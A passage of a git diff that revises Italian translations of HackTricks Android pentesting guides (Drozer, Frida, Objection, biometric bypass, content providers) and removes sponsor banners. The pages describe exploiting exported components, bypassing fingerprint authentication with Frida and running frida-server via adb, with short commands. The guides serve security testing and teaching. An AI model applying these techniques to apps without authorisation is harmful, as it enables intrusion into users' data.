trasmessi attraverso la rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza. +Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere sottoposta a reverse engineering. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi sulla rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza. Come pentester, **cerca di dare un'occhiata a questi log**. -**Dati analitici inviati a terzi** +**Dati di analisi inviati a terzi** -Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti. +Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti. ### DB SQLite @@ -323,7 +293,7 @@ I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come ` Se il database sta salvando informazioni riservate ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**. -Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema `. +Enumera le tabelle utilizzando `.tables` ed enumera le colonne delle tabelle eseguendo `.schema `. ### Drozer (Attività di sfruttamento, Content Providers e Servizi) @@ -339,7 +309,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**. Quando un'Activity è esportata puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.** -[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/#activities) +[**Impara come sfruttare le attività esportate con Drozer.**](drozer-tutorial/#activities) Puoi anche avviare un'attività esportata da adb: @@ -359,14 +329,14 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](./#tapjacking). +Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](./#tapjacking). -### Sfruttare i Content Provider - Accesso e manipolazione di informazioni sensibili +### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili [**Leggi questo se vuoi rinfrescare cosa è un Content Provider.**](android-applications-basics.md#content-provider)\ I content provider sono fondamentalmente utilizzati per **condividere dati**. Se un'app ha content provider disponibili, potresti essere in grado di **estrarre dati sensibili** da essi. È anche interessante testare possibili **SQL injection** e **Path Traversals** poiché potrebbero essere vulnerabili. -[**Scopri come sfruttare i Content Provider con Drozer.**](drozer-tutorial/#content-providers) +[**Scopri come sfruttare i Content Providers con Drozer.**](drozer-tutorial/#content-providers) ### **Sfruttare i Servizi** @@ -376,13 +346,13 @@ Ricorda che le azioni di un Servizio iniziano nel metodo `onStartCommand`. Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione sta esportando alcuni servizi, dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassare misure di autenticazione...\ [**Scopri come sfruttare i Servizi con Drozer.**](drozer-tutorial/#services) -### **Sfruttare i Broadcast Receiver** +### **Sfruttare i Broadcast Receivers** [**Leggi questo se vuoi rinfrescare cosa è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`. Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\ -[**Scopri come sfruttare i Broadcast Receiver con Drozer.**](./#exploiting-broadcast-receivers) +[**Scopri come sfruttare i Broadcast Receivers con Drozer.**](./#exploiting-broadcast-receivers) ### **Sfruttare Schemi / Deep links** @@ -420,7 +390,7 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s ### Ispezione e verifiche del livello di trasporto - **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP. -- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati. +- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittografare i dati. - **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità malevole. #### Verifica del certificato @@ -429,7 +399,7 @@ Ci concentreremo sulla **verifica del certificato**. L'integrità del certificat #### SSL Pinning -SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server rispetto a una copia nota memorizzata all'interno dell'applicazione stessa. Questo metodo è essenziale per prevenire attacchi MITM. Si raccomanda vivamente di implementare SSL Pinning per le applicazioni che gestiscono informazioni sensibili. +SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server contro una copia nota memorizzata all'interno dell'applicazione stessa. Questo metodo è essenziale per prevenire attacchi MITM. Si raccomanda vivamente di implementare SSL Pinning per le applicazioni che gestiscono informazioni sensibili. #### Ispezione del traffico @@ -500,7 +470,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Approfondimenti sul Hacking**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking. - -**Notizie di Hack in Tempo Reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale. - -**Ultimi Annunci**\ -Rimani informato con i nuovi bug bounty in partenza e aggiornamenti cruciali della piattaforma. - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - ## Analisi Automatica ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -560,7 +515,7 @@ Rimani informato con i nuovi bug bounty in partenza e aggiornamenti cruciali del ![](<../../images/image (866).png>) -**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente). +**Valutazione delle vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -572,7 +527,7 @@ MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal ### Analisi dinamica assistita con MobSF -**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\ +**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzionerà). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\ L'**analizzatore dinamico MobSF** può: - **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate. @@ -595,7 +550,7 @@ Inoltre, hai alcune funzionalità ausiliarie di Frida: - **Enumerare Classi Caricate**: Stampa tutte le classi caricate - **Catturare Stringhe**: Stampa tutte le stringhe catturate mentre utilizzi l'applicazione (super rumoroso) -- **Catturare Confronti di Stringhe**: Potrebbe essere molto utile. Mostrerà **le 2 stringhe confrontate** e se il risultato era Vero o Falso. +- **Catturare Confronti di Stringhe**: Potrebbe essere molto utile. **Mostrerà le 2 stringhe confrontate** e se il risultato era Vero o Falso. - **Enumerare Metodi di Classe**: Inserisci il nome della classe (come "java.io.File") e stamperà tutti i metodi della classe. - **Cerca Modello di Classe**: Cerca classi per modello - **Traccia Metodi di Classe**: **Traccia** un'**intera classe** (vedi input e output di tutti i metodi della classe). Ricorda che per impostazione predefinita MobSF traccia diversi metodi API Android interessanti. @@ -615,7 +570,7 @@ receivers ``` **Strumenti HTTP** -Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato sul "**HTTP(S) Traffic**" in basso o una vista più bella nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\ +Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato sul "**HTTP(S) Traffic**" in basso o una vista più bella nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\ Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità. @@ -634,7 +589,7 @@ Questo strumento utilizzerà alcuni **Hooks** per farti sapere **cosa sta succed ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Questo è un **ottimo strumento per eseguire analisi statiche con una GUI** +Questo è un **ottimo strumento per eseguire analisi statiche con un'interfaccia grafica** ![](<../../images/image (741).png>) @@ -692,7 +647,7 @@ androbugs.exe -f [APK file] **Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android. -Il rilevamento viene effettuato con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard). +Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard). Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario... ``` @@ -702,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** è un **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. È uno strumento che riunisce strumenti comunemente usati per il reverse engineering e l'analisi delle applicazioni mobili, per assistere nel testare le applicazioni mobili contro le minacce alla sicurezza mobile di OWASP. Il suo obiettivo è rendere questo compito più facile e accessibile per gli sviluppatori di applicazioni mobili e i professionisti della sicurezza. +**MARA** è un **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. È uno strumento che riunisce strumenti comunemente usati per il reverse engineering e l'analisi delle applicazioni mobili, per assistere nel test delle applicazioni mobili contro le minacce alla sicurezza mobile di OWASP. Il suo obiettivo è rendere questo compito più facile e accessibile per gli sviluppatori di applicazioni mobili e i professionisti della sicurezza. È in grado di: @@ -734,9 +689,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg (Da quella guida) L'ultima volta che abbiamo controllato, il modo di operare di Dexguard era: - caricare una risorsa come InputStream; -- fornire il risultato a una classe che eredita da FilterInputStream per decrittografarlo; +- fornire il risultato a una classe che eredita da FilterInputStream per decrittarlo; - fare un po' di offuscazione inutile per far perdere qualche minuto a un reverser; -- fornire il risultato decrittografato a un ZipInputStream per ottenere un file DEX; +- fornire il risultato decrittato a un ZipInputStream per ottenere un file DEX; - infine caricare il DEX risultante come Risorsa utilizzando il metodo `loadDex`. ### [DeGuard](http://apk-deguard.com) @@ -745,17 +700,21 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg Puoi caricare un APK offuscato sulla loro piattaforma. +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) + +Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Google Gemini. + ### [Simplify](https://github.com/CalebFenton/simplify) È un **deoffuscatore android generico.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale tipo specifico di offuscazione venga utilizzato. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica molti **compilatori**, **packer**, **offuscatori** e altre cose strane. È il [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android. +APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica molti **compilatori**, **packer**, **offuscatori** e altre cose strane. È [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android. ### Manuale -[Leggi questo tutorial per imparare alcuni trucchi su **come fare il reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md) +[Leggi questo tutorial per imparare alcuni trucchi su **come invertire l'offuscazione personalizzata**](manual-deobfuscation.md) ## Laboratori @@ -767,7 +726,7 @@ AndroL4b è una macchina virtuale di sicurezza Android basata su ubuntu-mate che - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) È una grande lista di risorse -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido su Android +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido Android - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) @@ -777,19 +736,4 @@ AndroL4b è una macchina virtuale di sicurezza Android basata su ubuntu-mate che - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato sugli ultimi bug bounty in partenza e aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md index 372fe685d..d3b9f53ec 100644 --- a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md +++ b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md @@ -2,12 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} - ## **Metodo 1 – Bypass senza utilizzo di Crypto Object** L'attenzione qui è sul callback _onAuthenticationSucceeded_, che è cruciale nel processo di autenticazione. I ricercatori di WithSecure hanno sviluppato uno [script Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), che consente di bypassare il NULL _CryptoObject_ in _onAuthenticationSucceeded(...)_. Lo script forza un bypass automatico dell'autenticazione tramite impronta digitale al momento dell'invocazione del metodo. Di seguito è riportato un frammento semplificato che dimostra il bypass in un contesto di impronta digitale Android, con l'applicazione completa disponibile su [GitHub](https://github.com/St3v3nsS/InsecureBanking). @@ -69,10 +63,5 @@ Esistono strumenti e script specializzati progettati per testare e bypassare i m - [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/) -
- -Approfondisci la tua esperienza in **Sicurezza Mobile** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/content-protocol.md b/src/mobile-pentesting/android-app-pentesting/content-protocol.md index 8ad796544..96566f271 100644 --- a/src/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/src/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,14 +1,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} **Questo è un riepilogo del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** ### Elencare i file nel Media Store -Per elencare i file gestiti dal Media Store, può essere utilizzato il comando seguente: +Per elencare i file gestiti dal Media Store, è possibile utilizzare il comando seguente: ```bash $ content query --uri content://media/external/file ``` @@ -79,8 +76,4 @@ xhr.send(); ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 3cd45b6cf..32c6ed0a7 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,11 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} - -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## APKs da testare @@ -17,7 +13,7 @@ ## Installazione -Installa il Drozer Client all'interno del tuo host. Scaricalo dalle [ultime versioni](https://github.com/mwrlabs/drozer/releases). +Installa il client Drozer all'interno del tuo host. Scaricalo dalle [ultime versioni](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted @@ -54,7 +50,7 @@ drozer console connect | **unset** | Rimuove una variabile nominata che drozer passa a qualsiasi shell Linux che genera. | | **set** | Memorizza un valore in una variabile che sarà passato come variabile ambientale a qualsiasi shell Linux generata da drozer. | | **shell** | Avvia una shell Linux interattiva sul dispositivo, nel contesto dell'Agente | -| **run MODULE** | Esegue un modulo drozer | +| **run MODULE** | Esegui un modulo drozer | | **exploit** | Drozer può creare exploit da eseguire nel dispositivo. `drozer exploit list` | | **payload** | Gli exploit necessitano di un payload. `drozer payload list` | @@ -106,7 +102,7 @@ is debuggable ### Attività -Il valore “android:exported” di un componente attività esportato è impostato su **“true”** nel file AndroidManifest.xml: +Il valore “android:exported” di un componente di attività esportato è impostato su **“true”** nel file AndroidManifest.xml: ```markup @@ -183,7 +179,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ### Broadcast Receivers -**Nella sezione informazioni di base di Android puoi vedere cosa è un Broadcast Receiver**. +**Nella sezione delle informazioni di base di Android puoi vedere cos'è un Broadcast Receiver**. Dopo aver scoperto questi Broadcast Receivers dovresti **controllare il codice** di essi. Fai particolare attenzione alla funzione **`onReceive`** poiché gestirà i messaggi ricevuti. @@ -254,10 +250,6 @@ run app.package.debuggable - [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/) - -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 1bbf9079b..b6cb6b50c 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -2,11 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Installazione @@ -15,8 +10,8 @@ Installa **frida tools**: pip install frida-tools pip install frida ``` -**Scarica e installa** in Android il **frida server** ([Scarica l'ultima versione](https://github.com/frida/frida/releases)).\ -Comando per riavviare adb in modalità root, connettersi ad esso, caricare frida-server, dare permessi di esecuzione e eseguirlo in background: +**Scarica e installa** nel dispositivo android il **frida server** ([Scarica l'ultima versione](https://github.com/frida/frida/releases)).\ +Comando per riavviare adb in modalità root, connettersi ad esso, caricare frida-server, dare permessi di esecuzione e farlo girare in background: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` @@ -182,10 +177,5 @@ onComplete: function () {}, - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) - [Parte 1 della serie di blog sull'uso avanzato di Frida: Librerie di crittografia IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -
- -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index 232b7d5ac..819df4c2d 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -2,12 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - **Questo è un riassunto del post**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Codice Sorgente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) @@ -55,7 +49,7 @@ return true ``` python hooking.py hook1.js ``` -Guardare: La funzione riceve come parametro una String, non è necessario l'overload? +Mirar: La funzione riceve come parametro una String, non è necessario l'overload? ## Hook 2 - Function Bruteforce @@ -120,14 +114,9 @@ return encrypted_ret ``` ## Importante -In questo tutorial hai agganciato metodi utilizzando il nome del metodo e _.implementation_. Ma se ci fossero **più di un metodo** con lo stesso nome, dovrai **specificare il metodo** che desideri agganciare **indicando il tipo degli argomenti**. +In questo tutorial hai agganciato i metodi utilizzando il nome del metodo e _.implementation_. Ma se ci fossero **più di un metodo** con lo stesso nome, dovrai **specificare il metodo** che desideri agganciare **indicando il tipo degli argomenti**. Puoi vedere questo nel [tutorial successivo](frida-tutorial-2.md). -
- -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index f568c2747..76058b379 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -2,13 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -**Questo è un riassunto del post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parti 2, 3 & 4)\ +**Questo è un riassunto del post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parti 2, 3 e 4)\ **APKs e codice sorgente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) La parte 1 è molto facile. @@ -19,7 +13,7 @@ La parte 1 è molto facile. Qui puoi vedere un esempio di come **hookare 2 funzioni con lo stesso nome** ma parametri diversi.\ Inoltre, imparerai come **chiamare una funzione con i tuoi parametri**.\ -E infine, c'è un esempio di come **trovare un'istanza di una classe e farla chiamare una funzione**. +E infine, c'è un esempio di come **trovare un'istanza di una classe e farle chiamare una funzione**. ```javascript //s2.js console.log("Script loaded successfully "); @@ -210,10 +204,5 @@ return this.setText(string_to_recv) ``` C'è una parte 5 che non spiegherò perché non c'è nulla di nuovo. Ma se vuoi leggerla, è qui: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) -
- -**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index 0e85ac360..3d4bca9fa 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -2,23 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} - -**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## **Introduzione** -**objection - Runtime Mobile Exploration** +**objection - Esplorazione Mobile in Esecuzione** -[**Objection**](https://github.com/sensepost/objection) è un toolkit di esplorazione mobile in tempo reale, alimentato da [Frida](https://www.frida.re). È stato costruito con l'obiettivo di aiutare a valutare le applicazioni mobili e la loro postura di sicurezza senza la necessità di un dispositivo mobile jailbroken o rootato. +[**Objection**](https://github.com/sensepost/objection) è un toolkit per l'esplorazione mobile in esecuzione, alimentato da [Frida](https://www.frida.re). È stato creato con l'obiettivo di aiutare a valutare le applicazioni mobili e la loro postura di sicurezza senza la necessità di un dispositivo mobile jailbroken o rootato. -**Nota:** Questo non è una forma di jailbreak / bypass del root. Utilizzando `objection`, sei comunque limitato da tutte le restrizioni imposte dal sandbox applicabile che stai affrontando. +**Nota:** Questo non è una forma di bypass del jailbreak / root. Utilizzando `objection`, sei comunque limitato da tutte le restrizioni imposte dal sandbox applicabile che stai affrontando. -### Riepilogo +### Riassunto -Il **goal** di **objection** è permettere all'utente di chiamare le **azioni principali che offre Frida**. **Altrimenti**, l'utente dovrà creare un **singolo script per ogni applicazione** che desidera testare. +**L'obiettivo** di **objection** è consentire all'utente di chiamare le **azioni principali che offre 